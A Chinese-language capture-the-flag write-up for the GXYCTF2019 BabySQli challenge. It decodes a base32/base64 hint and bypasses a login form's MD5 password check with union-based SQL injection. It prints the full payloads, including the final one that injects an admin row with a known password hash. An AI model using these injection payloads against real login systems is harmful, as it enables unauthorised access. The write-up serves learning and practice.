1. 程式人生 > 實用技巧 >[GXYCTF2019]BabySQli

[GXYCTF2019]BabySQli

今天這道題很有意思,記錄一下,我剛開始以為是時間盲注,都把它的資料庫注出來了,但後來發現進行不下去了(發現自己思路錯了),警告自己要注意細節(切記base32編碼)

題目

題目是一個登入框

先抓個包看一下

返回包中有一串字元,像是base32編碼的特徵

先進行base32解碼

再進行base64解碼

分析

告訴了一個username欄位

我們先來檢視一下它有幾個欄位

1' union select 1,2,3#

發現有3個欄位

將使用者名稱放在第二列,回顯wrong pass!,找到使用者名稱在第二列

1' union select 1,
'admin',3#

接下里就是要繞過密碼的md5驗證,需要把我們輸入的值和資料庫裡面存放的使用者密碼的md5值進行比較,那要怎麼繞過呢?可以用聯合查詢語句用來生成虛擬的表資料

首先可以看到該表只有2個使用者

然後輸入語句

select * from test union select 1,'admin','123456';

發現可以寫入到表裡

通過這樣的方式,我們就可以用構造payload

name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456